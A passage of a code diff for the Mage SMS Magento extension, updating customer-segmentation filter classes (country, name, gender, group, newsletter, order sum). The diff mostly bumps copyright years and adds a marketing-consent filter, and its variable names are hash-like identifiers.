  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Country extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Country'), 'firstItem' => Mage::helper('magesms')->__('All countries'), 'type' => 'select', 'name' => 'country', 'color' => '#005784', ); } public function getValues() { return array_merge( array(array('value' => '', 'label' => $this->filter['firstItem'])), Mage::getModel('directory/country')->getCollection()->toOptionArray(false) ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue()); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('billing_country_id', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Country extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Country'), 'firstItem' => Mage::helper('magesms')->__('All countries'), 'type' => 'select', 'name' => 'country', 'color' => '#005784', ); } public function getValues() { return array_merge( array(array('value' => '', 'label' => $this->filter['firstItem'])), Mage::getModel('directory/country')->getCollection()->toOptionArray(false) ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue()); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('billing_country_id', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Firstname.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Firstname extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('First name'), 'type' => 'input', 'name' => 'firstname', 'color' => '#c71585', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array('like' => $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue().'%'); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('firstname', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Firstname extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('First name'), 'type' => 'input', 'name' => 'firstname', 'color' => '#c71585', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array('like' => $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue().'%'); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('firstname', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Gender.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Gender extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Gender:'), 'firstItem' => Mage::helper('magesms')->__('All'), 'type' => 'select', 'name' => 'gender', 'color' => '#eeaaaa', ); } public function getValues() { $id92fd65e479a45fd28bc877dc5d15fc219af26db = array(); $ic7e041f1c0f99ab24f17177e95509393b8ba49be = Mage::getModel('eav/config')->getAttribute('customer', 'gender'); if ($ic7e041f1c0f99ab24f17177e95509393b8ba49be->getId()) { $id92fd65e479a45fd28bc877dc5d15fc219af26db = $ic7e041f1c0f99ab24f17177e95509393b8ba49be->getSource()->getAllOptions(false); foreach($id92fd65e479a45fd28bc877dc5d15fc219af26db as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$i287bcbe0c9dfb97b6c1bb92e5d892c0dea8b7ab0) $id92fd65e479a45fd28bc877dc5d15fc219af26db[$i670253c23c6fcba76bc4256a88fdd8fbc1041039]['label'] = Mage::helper('magesms')->__($id92fd65e479a45fd28bc877dc5d15fc219af26db[$i670253c23c6fcba76bc4256a88fdd8fbc1041039]['label']); $id92fd65e479a45fd28bc877dc5d15fc219af26db = array_merge(array(array('value' => '', 'label' => $this->filter['firstItem'])), $id92fd65e479a45fd28bc877dc5d15fc219af26db); } return $id92fd65e479a45fd28bc877dc5d15fc219af26db; } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue()); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('gender', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Gender extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Gender:'), 'firstItem' => Mage::helper('magesms')->__('All'), 'type' => 'select', 'name' => 'gender', 'color' => '#eeaaaa', ); } public function getValues() { $id92fd65e479a45fd28bc877dc5d15fc219af26db = array(); $ic7e041f1c0f99ab24f17177e95509393b8ba49be = Mage::getModel('eav/config')->getAttribute('customer', 'gender'); if ($ic7e041f1c0f99ab24f17177e95509393b8ba49be->getId()) { $id92fd65e479a45fd28bc877dc5d15fc219af26db = $ic7e041f1c0f99ab24f17177e95509393b8ba49be->getSource()->getAllOptions(false); foreach($id92fd65e479a45fd28bc877dc5d15fc219af26db as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$i287bcbe0c9dfb97b6c1bb92e5d892c0dea8b7ab0) $id92fd65e479a45fd28bc877dc5d15fc219af26db[$i670253c23c6fcba76bc4256a88fdd8fbc1041039]['label'] = Mage::helper('magesms')->__($id92fd65e479a45fd28bc877dc5d15fc219af26db[$i670253c23c6fcba76bc4256a88fdd8fbc1041039]['label']); $id92fd65e479a45fd28bc877dc5d15fc219af26db = array_merge(array(array('value' => '', 'label' => $this->filter['firstItem'])), $id92fd65e479a45fd28bc877dc5d15fc219af26db); } return $id92fd65e479a45fd28bc877dc5d15fc219af26db; } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue()); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('gender', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Group.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Marketing_Filter_Group extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Groups'), 'firstItem' => Mage::helper('magesms')->__('All'), 'type' => 'select', 'name' => 'group', 'color' => '#d2b48c', ); } public function getValues() { return array_merge( array(array('value' => '', 'label' => $this->filter['firstItem'])), Mage::getModel('customer/group')->getCollection()->toOptionArray(false) ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue()); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('group_id', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Marketing_Filter_Group extends Varien_Object { public $filter; public function _construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Groups'), 'firstItem' => Mage::helper('magesms')->__('All'), 'type' => 'select', 'name' => 'group', 'color' => '#d2b48c', ); } public function getValues() { return array_merge( array(array('value' => '', 'label' => $this->filter['firstItem'])), Mage::getModel('customer/group')->getCollection()->toOptionArray(false) ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i3381b8e0f8a10cba70bd1ec41b87d5c91ed140dc = false; $i76200fed8240be52de0fc75ec3367898a197407f = Mage::getModel('eav/entity_attribute')->loadByCode('customer', 'group_id'); if ($i76200fed8240be52de0fc75ec3367898a197407f->getFrontendInput() == 'multiselect') $i3381b8e0f8a10cba70bd1ec41b87d5c91ed140dc = true; $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { if ($i3381b8e0f8a10cba70bd1ec41b87d5c91ed140dc) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array('%'.$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue().'%'); else $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array((int)$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue()); } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) if ($i3381b8e0f8a10cba70bd1ec41b87d5c91ed140dc) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('group_id', array('like' => $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)); else $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('group_id', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Lastname.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Lastname extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Last name'), 'type' => 'input', 'name' => 'lastname', 'color' => '#006600', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array('like' => $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue().'%'); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('lastname', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Lastname extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Last name'), 'type' => 'input', 'name' => 'lastname', 'color' => '#006600', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array('like' => $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue().'%'); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('lastname', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Marketing.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_Marketing_Filter_Marketing extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Marketing:'), 'firstItem' => Mage::helper('magesms')->__('All'), 'type' => 'select', 'name' => 'marketing', 'color' => '#ccca28', ); } public function getValues() { return array( '' => $this->filter['firstItem'], '1' => Mage::helper('magesms')->__('Yes'), '2' => Mage::helper('magesms')->__('No') ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue() == 1) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'at_magesms_customer_marketing.`value` = 1 OR at_magesms_customer_marketing.`value` IS NULL'; else $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'at_magesms_customer_marketing.`value` = 0 OR at_magesms_customer_marketing.`value` IS NULL'; } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { $iff7e46827cbb6547116c592bf800f4687428abf9->addAttributeToSelect('magesms_customer_marketing', 0); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->where(implode(' OR ', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Newsletter.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Newsletter extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Newsletter:'), 'firstItem' => Mage::helper('magesms')->__('All'), 'type' => 'select', 'name' => 'newsletter', 'color' => '#cd1818', ); } public function getValues() { return array( '' => $this->filter['firstItem'], '1' => Mage::helper('magesms')->__('Yes'), '2' => Mage::helper('magesms')->__('No') ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue() == 1) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'ns.`subscriber_status` = 1'; else $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'ns.`subscriber_status` = 0 OR ns.`subscriber_status` IS NULL'; } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->joinLeft( array('ns' => $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('newsletter/subscriber')), 'ns.`customer_id` = e.`entity_id`' ); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->where(implode(' OR ', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Newsletter extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Newsletter:'), 'firstItem' => Mage::helper('magesms')->__('All'), 'type' => 'select', 'name' => 'newsletter', 'color' => '#cd1818', ); } public function getValues() { return array( '' => $this->filter['firstItem'], '1' => Mage::helper('magesms')->__('Yes'), '2' => Mage::helper('magesms')->__('No') ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue() == 1) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'ns.`subscriber_status` = 1'; else $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'ns.`subscriber_status` = 0 OR ns.`subscriber_status` IS NULL'; } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->joinLeft( array('ns' => $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('newsletter/subscriber')), 'ns.`customer_id` = e.`entity_id`' ); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->where(implode(' OR ', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Orderssum.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Orderssum extends Varien_Object { public $filter; private $v717aafa07eeca1a7c0f40cc18a0eb90e0984de3e; public function __construct() { $this->v717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array('<', '>', '=', '<>'); $this->filter = array( 'title' => '∑ '.Mage::helper('magesms')->__('Order'), 'type' => 'number', 'name' => 'orderssum', 'color' => '#886543', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'orders_sum '.$this->v717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[$i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]].' '.(float)$i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1]; } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { if (strpos($iff7e46827cbb6547116c592bf800f4687428abf9->getSelect(), $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid')) === false) $iff7e46827cbb6547116c592bf800f4687428abf9->joinTable('sales/order_grid', 'customer_id=entity_id', array('entity_id')); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('SUM('.$iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid').'.`grand_total`) AS orders_sum') ->having(implode(' AND ', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) ->group('e.entity_id'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } public function setValue($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $this->filter['cond'] = $this->v717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[$if2eee0665f163a28f4adcfe84e3fc666bf1bcd89[0]]; return parent::setValue($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Orderssum extends Varien_Object { public $filter; private $v717aafa07eeca1a7c0f40cc18a0eb90e0984de3e; public function __construct() { $this->v717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array('<', '>', '=', '<>'); $this->filter = array( 'title' => '∑ '.Mage::helper('magesms')->__('Order'), 'type' => 'number', 'name' => 'orderssum', 'color' => '#886543', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'orders_sum '.$this->v717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[$i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]].' '.(float)$i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1]; } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { if (strpos($iff7e46827cbb6547116c592bf800f4687428abf9->getSelect(), $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid')) === false) $iff7e46827cbb6547116c592bf800f4687428abf9->joinTable('sales/order_grid', 'customer_id=entity_id', array('entity_id')); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('SUM('.$iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid').'.`grand_total`) AS orders_sum') ->having(implode(' AND ', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) ->group('e.entity_id'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } public function setValue($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $this->filter['cond'] = $this->v717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[$if2eee0665f163a28f4adcfe84e3fc666bf1bcd89[0]]; return parent::setValue($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Product.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
